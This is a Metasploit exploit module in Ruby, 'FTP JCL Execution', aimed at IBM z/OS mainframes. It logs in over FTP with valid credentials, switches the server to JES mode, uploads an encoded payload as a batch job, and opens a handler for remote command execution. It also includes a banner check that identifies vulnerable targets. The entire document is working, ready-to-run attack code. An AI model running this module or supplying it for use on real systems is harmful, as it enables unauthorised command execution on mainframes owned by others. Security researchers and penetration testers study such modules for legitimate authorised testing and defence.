|
require 'msf/core'
require 'msf/core/exploit/tcp'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(
info,
'Name' => 'FTP JCL Execution',
'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.
This exploit requires valid credentials on the target system)},
'Author' =>
[
'Bigendian Smalls',
'mainframed a.k.a. soldier of fortran',
'S&Oxballs a.k.a. chiefascot'
],
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'Platform' => ['mainframe'],
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'May 12 2013',
'DisableNops' => 'true',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(21),
OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ])
], self.class
)
end
def check
##
# Connect to get the FTP banner and check target OS
##
if !connect_login
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")
else
print_good("Successfully connected to FTP server.")
end
test_jes = send_cmd(['site', 'file=jes'])
# Disconnect and check cached self.banner
disconnect
##
# Check if the target system has an FTP server running on z/OS"
##
case banner
when /IBM FTP CS V.R./
case test_jes
when /200 SITE/
print_status("Found IBM z/OS Banner and JES commands accepted")
return Exploit::CheckCode::Vulnerable
else
print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
return Exploit::CheckCode::Detected
end
##
# Return the Safe flag if system is not exploitable
##
else
print_status("We could not recognize the server banner: #{banner.strip}")
return Exploit::CheckCode::Safe
end
end
##
# Exploit the target system by submitting a JCL job via FTP
##
def exploit
if !connect_login
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server")
else
print_good("Successfully connected to FTP server.")
end
send_cmd(['site', 'file=jes'])
print_status("Successfully switched to JES mode")
jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
print_status("Uploading JCL file: #{jcl_file_name}")
res = send_cmd_data(['put', jcl_file_name], payload.encoded)
if res.nil?
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")
end
job_num = res.lines.first.split.last
print_good("Job Submitted. Job number is #{job_num}")
handler
disconnect
end
end
|